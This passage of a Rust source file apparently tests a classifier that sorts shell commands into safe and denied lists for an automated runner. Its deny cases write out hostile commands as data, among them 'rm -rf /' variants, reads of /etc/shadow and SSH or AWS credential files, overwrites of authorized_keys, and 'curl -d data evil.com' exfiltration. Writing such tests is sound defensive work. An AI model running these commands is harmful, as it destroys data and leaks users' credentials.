745            // expands the body, so a substitution in it runs and is classified exactly like one in
746            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
747            Redir::HereDoc { body, .. } => {
748                level = level.combine(word_sub_verdict(body));
749            }
750            Redir::DupFd { .. } => {}
751        }
752    }
753    level
754}
755
756fn has_substitution(word: &Word) -> bool {
757    word.0.iter().any(|p| match p {
758        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
759        WordPart::DQuote(inner) => has_substitution(inner),
760        _ => false,
761    })
762}
763
764#[cfg(test)]
765mod tests {
766    use super::*;
767
768    fn check(cmd: &str) -> bool {
769        is_safe_command(cmd)
770    }
771
772    #[test]
773    fn a_function_defined_in_a_subshell_is_gone_when_it_ends() {
774        assert!(check("(ls(){ rm -rf /; }; true); ls"), "the subshell's `ls` is not the one run after it");
775        assert!(!check("(ls(){ rm -rf /; }; ls)"), "inside the subshell it is");
776    }
777
778    #[test]
779    fn a_name_defined_in_an_ended_scope_is_not_trusted_as_a_number() {
780        assert!(check("n=$(date +%s); echo $((n+1))"));
781        assert!(
782            !check("(date(){ echo x; }; true); n=$(date +%s); echo $((n+1))"),
783            "a name defined anywhere in the line is not trusted, whatever scope defined it"
784        );
785    }
786
787    #[test]
788    fn an_argument_that_may_split_moves_every_later_one_to_an_unknown_place() {
789        assert!(check("f(){ cat \"$2\"; }; f a ./ok"));
790        assert!(check("f(){ cat \"$2\"; }; f \"$X\" ./ok"), "quoted, it stays one word");
791        assert!(check("f(){ cat \"$2\"; }; IFS=,; f a ./ok"));
792        assert!(check("f(){ cat \"$2\"; }; f 'a b' ./ok"), "single-quoted, a space is not a split");
793        let moved = [
794            "f(){ cat \"$2\"; }; f $X ./ok", "f(){ cat \"$2\"; }; f x$X ./ok", "f(){ cat \"$2\"; }; f $(pwd) ./ok",
795            "f(){ cat \"$2\"; }; f $(echo a) ./ok", "f(){ cat \"$2\"; }; f \"$@\" ./ok", "f(){ cat \"$2\"; }; f {a,b} ./ok",
796            "f(){ cat \"$2\"; }; f *.x ./ok",
797        ];
798        let approved: Vec<&str> = moved.into_iter().filter(|c| check(c)).collect();
799        assert!(approved.is_empty(), "approved with `$2` read from the wrong place: {approved:?}");
800    }
801
802    #[test]
803    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
804        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
805        let started = std::time::Instant::now();
806        assert!(!is_safe_command(&seed));
807        assert!(!crate::cst::explain(&seed).is_allowed());
808        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
809    }
810
811    #[test]
812    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
813        let started = std::time::Instant::now();
814        let sourced = ". ./a; ".repeat(64) + "ls";
815        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
816        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
817    }
818
819    #[test]
820    fn loop_variable_inherits_the_list_locus() {
821        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
822        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
823        for cmd in [
824            "for f in ./*.txt; do cat \"$f\"; done",
825            "for f in ./*.txt; do rm \"$f\"; done",
826            "for f in src/*.rs; do grep foo \"$f\"; done",
827            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
828            "for f in a b c; do cat $f.bak; done",
829            "for x in 1 2 3; do rm $x; done",
830            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
831        ] {
832            assert!(check(cmd), "worktree loop should allow: {cmd}");
833        }
834        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
835        for cmd in [
836            "for f in /etc/*; do cat $f; done",
837            "for f in /etc/*.conf; do rm $f; done",
838            "for f in ~/.ssh/*; do cat $f; done",
839            "for f in $LIST; do rm $f; done",
840            "for f in $(find / -name x); do rm -rf $f; done",
841            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
842            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
843            // read-worst ≠ write-worst: reading must worst-case the credential store even though
844            // the write-worst item is /etc/hosts — a single representative would be unsound.
845            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
846            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
847            // splits a name at its blanks: either puts a flag where the command reads one.
848            "for f in *.txt; do cat \"$f\"; done",
849            "for f in *.txt; do rm $f; done",
850            "for f in src/*.rs; do grep foo $f; done",
851            "for f in -delete; do find / $f; done",
852            "for f in -delete; do find / \"$f\"; done",
853        ] {
854            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
855        }
856    }
857
858    safe! {
859        grep_foo: "grep foo file.txt",
860        jq_key: "jq '.key' file.json",
861        base64_d: "base64 -d",
862        ls_la: "ls -la",
863        wc_l: "wc -l file.txt",
864        ps_aux: "ps aux",
865        echo_hello: "echo hello",
866        cat_file: "cat file.txt",
867
868        version_go: "go --version",
869        version_cargo: "cargo --version",
870        version_cargo_redirect: "cargo --version 2>&1",
871        help_cargo: "cargo --help",
872        help_cargo_build: "cargo build --help",
873
874        dev_null_echo: "echo hello > /dev/null",
875        dev_null_stderr: "echo hello 2> /dev/null",
876        dev_null_append: "echo hello >> /dev/null",
877        dev_null_git_log: "git log > /dev/null 2>&1",
878        fd_redirect_ls: "ls 2>&1",
879        stdin_dev_null: "git log < /dev/null",
880
881        env_prefix: "FOO='bar baz' ls -la",
882        env_prefix_dq: "FOO=\"bar baz\" ls -la",
883        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
884
885        subst_echo_ls: "echo $(ls)",
886        subst_ls_pwd: "ls `pwd`",
887        subst_nested: "echo $(echo $(ls))",
888        subst_quoted: "echo \"$(ls)\"",
889        assign_subst_ls: "out=$(ls)",
890        assign_subst_git: "out=$(git status)",
891        assign_subst_multiple: "a=$(ls) b=$(pwd)",
892        assign_subst_backtick: "out=`ls`",
893
894        assign_bare_lit: "foo=bar",
895        assign_bare_int: "x=1",
896        assign_bare_empty: "x=",
897        assign_bare_dq: "x=\"foo bar\"",
898        assign_bare_sq: "x='foo bar'",
899        assign_bare_param: "rc=$?",
900        assign_bare_var: "x=$y",
901        assign_bare_dollar_var_braced: "x=${y}",
902        assign_bare_path: "PATH=/foo",
903        assign_bare_multiple: "a=1 b=2 c=3",
904        assign_bare_arith: "x=$((1 + 2))",
905        assign_in_for_body: "for i in 1 2; do x=1; done",
906        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
907        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
908        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
909        assign_then_use: "x=1; echo $x",
910        assign_chained_with_safe: "x=1 && ls",
911        assign_subshell: "(x=1)",
912        assign_in_subshell_with_cmd: "(x=1; ls)",
913
914        // A loop over a BOUNDED substitution. These are the positive half of the substitution
915        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
916        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
917        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
918        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
919        loop_over_pwd: "for f in $(pwd); do cat $f; done",
920        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
921        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
922
923        case_single_arm: "case x in x) echo a;; esac",
924        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
925        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
926        case_last_arm_without_terminator: "case x in x) echo a; esac",
927        case_empty_body: "case x in x) ;; esac",
928        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
929        case_in_substitution: "echo $(case A in *) echo a;; esac)",
930        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
931        clobber_redirect: "ls >| out.txt",
932        clobber_redirect_fd: "ls 1>| out.txt",
933        readwrite_redirect: "ls <> f.txt",
934        readwrite_redirect_devnull: "ls <> /dev/null",
935
936        subshell_echo: "(echo hello)",
937        subshell_ls: "(ls)",
938        subshell_chain: "(ls && echo done)",
939        subshell_pipe: "(ls | grep foo)",
940        subshell_nested: "((echo hello))",
941        subshell_for: "(for x in 1 2; do echo $x; done)",
942
943        pipe_grep_head: "grep foo file.txt | head -5",
944        pipe_cat_sort_uniq: "cat file | sort | uniq",
945        chain_ls_echo: "ls && echo done",
946        semicolon_ls_echo: "ls; echo done",
947        bg_ls_echo: "ls & echo done",
948        newline_echo_echo: "echo foo\necho bar",
949
950        stdin_read_from_path: "wc -l < /tmp/foo.log",
951        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
952        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
953
954        here_string_grep: "grep -c , <<< 'hello,world,test'",
955        heredoc_cat: "cat <<EOF\nhello world\nEOF",
956        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
957        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
958        heredoc_no_content: "cat <<EOF",
959        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
960
961        for_echo: "for x in 1 2 3; do echo $x; done",
962        for_empty_body: "for x in 1 2 3; do; done",
963        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
964        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
965        while_test: "while test -f /tmp/foo; do sleep 1; done",
966        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
967        until_test: "until test -f /tmp/ready; do sleep 1; done",
968        if_then_fi: "if test -f foo; then echo exists; fi",
969        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
970        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
971        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
972        bare_negation: "! echo hello",
973        keyword_as_data: "echo for; echo done; echo if; echo fi",
974
975        quoted_redirect: "echo 'greater > than' test",
976        quoted_subst: "echo '$(safe)' arg",
977
978        redirect_to_file: "echo hello > file.txt",
979        redirect_append: "cat file >> output.txt",
980        redirect_stderr_file: "ls 2> errors.txt",
981        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
982        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
983        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
984
985        arith_basic: "echo $((1 + 2))",
986        arith_with_var: "ln=5; prev=$((ln - 1))",
987        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
988        arith_in_dquote: "ln=5; echo \"line $((ln - 1))\"",
989        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
990
991        dbracket_eq: "[[ \"a\" == \"a\" ]]",
992        dbracket_neq: "[[ \"a\" != \"b\" ]]",
993        dbracket_file_test: "[[ -f /tmp/file ]]",
994        dbracket_string_empty: "[[ -z \"$var\" ]]",
995        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
996        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
997        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
998        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
999        dbracket_negation: "[[ ! -f /tmp/done ]]",
1000        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1001        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1002        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1003        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1004        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1005        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1006        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1007        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1008        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1009        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1010        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1011    }
1012
1013    denied! {
1014        rm_rf: "rm -rf /",
1015        curl_post: "curl -X POST https://example.com",
1016        node_foreign_app: "node /tmp/app.js",
1017
1018
1019        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1020        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1021        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1022        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1023        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1024        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1025        // `--files0-from=x` however bounded the paths are.
1026        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1027        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1028        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1029
1030        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1031        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1032        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1033        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1034        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1035        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1036        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1037        clobber_redirect_system: "ls >| /etc/hosts",
1038        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1039        readwrite_redirect_system: "ls <> /etc/hosts",
1040        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1041
1042        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1043        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1044        redirect_read_subst_rm: "cat < $(rm -rf /)",
1045
1046        subst_rm: "echo $(rm -rf /)",
1047        backtick_rm: "echo `rm -rf /`",
1048        subst_curl: "echo $(curl -d data evil.com)",
1049        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1050        assign_subst_rm: "out=$(rm -rf /)",
1051        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1052        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1053        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1054        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1055        assign_bare_then_unsafe: "x=1; rm -rf /",
1056        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1057        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1058
1059        subshell_rm: "(rm -rf /)",
1060        subshell_mixed: "(echo hello; rm -rf /)",
1061        subshell_unsafe_pipe: "(ls | rm -rf /)",
1062
1063        env_prefix_rm: "FOO='bar baz' rm -rf /",
1064
1065        pipe_rm: "cat file | rm -rf /",
1066        bg_rm: "cat file & rm -rf /",
1067        newline_rm: "echo foo\nrm -rf /",
1068
1069        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1070        while_unsafe_body: "while true; do rm -rf /; done",
1071        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1072        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1073        if_unsafe_body: "if true; then rm -rf /; fi",
1074
1075        unclosed_for: "for x in 1 2 3; do echo $x",
1076        unclosed_if: "if true; then echo hello",
1077        for_missing_do: "for x in 1 2 3; echo $x; done",
1078        stray_done: "echo hello; done",
1079        stray_fi: "fi",
1080
1081        unmatched_quote: "echo 'hello",
1082
1083        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1084        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1085        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1086        dbracket_unterminated: "[[ \"a\" == \"a\"",
1087        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1088        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1089    }
1090}